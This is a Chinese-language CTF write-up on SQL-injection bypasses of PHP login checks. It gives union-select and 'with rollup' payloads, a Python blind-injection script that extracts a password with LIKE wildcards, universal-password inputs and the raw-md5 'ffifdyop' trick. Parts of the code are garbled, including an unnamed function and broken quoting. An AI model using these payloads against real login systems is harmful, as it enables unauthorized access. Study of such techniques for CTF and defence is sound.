首先登陆的sql通常分为两种类型1
2
3
4
5
6
7(1)先匹配username(注册时也类似这种方法验重)
$query = mysql_query("SELECT * FROM interest WHERE uname = '{$_POST['uname']}");
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {...
(2)用户名密码同时认证
SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
第一类型
一般两种想法注入
注出username或password
绕过
控制password实验吧–因缺思汀的绕过1
2
3
4
5
6
7
8
9
10
11
12
13mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
绕过
控制$query中pwd的返回值
union select
要先知道字段数1
2
3
4
5
6mysql> select * from users where username='xxx' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
Payload1?uname=xxx' union select 1,1,1#&pwd=1
变形
过滤了逗号
我们假设Boris用户不存在1
2
3
4
5
6mysql> select user_id,user,password from users where user='Boris' union select * from((select 1)a join (select 2)b join (select 3)c);
+---------+------+----------+
| user_id | user | password |
+---------+------+----------+
| 1 | 2 | 3 |
+---------+------+----------+
with rollup
使$key[‘pwd’]返回NULL1
2
3
4
5
6
7mysql> select user_id,user,password from users where user='admin' group by password with rollup;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | admin | NULL |
+---------+-------+----------------------------------
那mysql_num_rows($query) == 1这个判断怎办?
用offset 绕过就行
Payload1uname=ad' or 1 group by pwd with rollup limit 1 offset 2#&pwd=
注入
登陆报错能区分用户名错误还是密码错误
like/regexp 通配符%
注入admin用户应存在,不然返回empty set
like 和%1uname=ad' or pwd like 's%' limit 1#&pwd=ss
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23# -*- coding:utf-8 -*-
import urllib
import requests
import string
def (i):
url = "http://ctf5.shiyanbar.com/web/pcat/index.php"
test_data = {'uname':'af' or pwd like ''+i+'%' limit 1#', 'pwd':'sad'}
headers = {'Origin': 'http://ctf5.shiyanbar.com', 'Content-Type': 'application/x-www-form-urlencoded'}
res = requests.post(url, data = urllib.parse.urlencode(test_data), headers=headers)
if(res.content.decode('UTF-8') == "亦可赛艇!"):
return True
return False
if __name__ == '__main__':
pwd = ''
for i in range(11):
for x in string.ascii_letters+string.digits+'@':
if(exp(pwd+x)):
pwd = pwd+x
print(pwd)
break
print(pwd)
即可得到密码:sfl23kl123@
然后提交:1uname=ad' or pwd like '%' limit 1#&pwd=sfl23kl123@
变形md5($_POST[‘pwd’])
union注入:1username=xxx' or 1 union select 1,1,md5(1)#&pwd=1
如基于上述条件且判断为1mysql_num_rows($query) >0
输入不存在的用户名,$key[‘pwd’]是NULL
pwd传数组则md5函数返回也是NULL
第二类型
这种情况下过滤了引号在addslashes直接注入一般就没办法了实验吧–后台登陆1
2
3
4
5
6
7
8
9$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
万能密码
参考文末第二个链接
下面来看一种
username=’=’&password=’=’1user where username='''='' and password=''=''
username=’’返回值为0,相当于false,然后0=”的结果为1,相当于true。
example: 实验吧: 万能密码 — not than easy
md5注入
某内容hash后正好,是一些可注入的代码的hex值,下面适量个链接一里提到的
payload: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: ?T0D??o#??’or’8.N=?
payload: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: ‘or’6蒥欓!r,b
以ffifdyop为例,它md5后,会成为276f722736c95d99e921722cf9ed621c
mysql自动十六进制转成字符串:’or’6那整个sql变成1username = 'admin' and password = ''or'6'`
example:JarvisOJ Login
Links: